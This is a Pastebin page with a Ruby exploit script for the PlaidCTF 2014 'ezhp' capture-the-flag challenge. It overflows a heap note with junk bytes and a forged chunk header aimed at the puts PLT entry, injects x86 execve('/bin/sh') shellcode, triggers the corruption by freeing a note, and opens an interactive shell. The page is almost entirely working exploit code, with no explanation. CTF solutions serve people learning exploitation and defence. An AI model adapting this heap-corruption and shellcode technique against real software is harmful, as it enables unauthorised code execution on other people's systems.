Advertisement
encry1024

PlaidCTF2014 ezhp

Aug 31st, 2016
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.55 KB | None | 0 0
  1. # coding: ascii-8bit
  2.  
  3. # Thanks for @Charo_IT
  4. # https://github.com/Charo-IT/pwnlib
  5. require 'pwnlib.rb'
  6.  
  7. host = "localhost"
  8. port = 8888
  9.  
  10. def setup_notes(tube)
  11.  
  12.   print tube.recv_until("Please choose an option.\n")
  13.   tube.send("1\n100\n")
  14.  
  15.   print tube.recv_until("Please choose an option.\n")
  16.   tube.send("1\n100\n")
  17.  
  18.   print tube.recv_until("Please choose an option.\n")
  19.   tube.send("1\n100\n")
  20.  
  21. end
  22.  
  23. def change_note(tube, id, data_size, data)
  24.  
  25.   print tube.recv_until("Please choose an option.\n")
  26.   puts "3"
  27.   tube.send("3\n")
  28.  
  29.   print tube.recv_until("Please give me an id.\n")
  30.   puts id
  31.   tube.send("#{id}\n")
  32.  
  33.   print tube.recv_until("Please give me a size.\n")
  34.   puts data_size
  35.   tube.send("#{data_size}\n") #id:1 => 20
  36.  
  37.   print tube.recv_until("Please input your data.\n")
  38.   puts data
  39.   tube.send("#{data}\n")
  40.  
  41. end
  42.  
  43. def remove_note(tube, id)
  44.  
  45.   print tube.recv_until("Please choose an option.\n")
  46.   puts "2"
  47.   tube.send("2\n")
  48.  
  49.   print tube.recv_until("Please give me an id.\n")
  50.   puts id
  51.   tube.send("#{id}\n")
  52.  
  53. end
  54.  
  55. PwnTube.open(host, port) do |tube|
  56.  
  57.   tube.debug = true
  58.   puts_plt = 0x804a008
  59.  
  60.   setup_notes(tube)
  61.  
  62.   payload =  "JUNK" * 27
  63.   payload << p32(0x79) # size
  64.   payload << p32(puts_plt - 8)
  65.   change_note(tube, 1, payload.length, payload)
  66.  
  67.   payload = "JUNK" * 27
  68.   payload << "\x31\xd2\x52\x68" + "JUNK" + "\x58" + "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
  69.   change_note(tube, 0, payload.length, payload)
  70.  
  71.   remove_note(tube, 2)
  72.  
  73.   tube.shell
  74. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement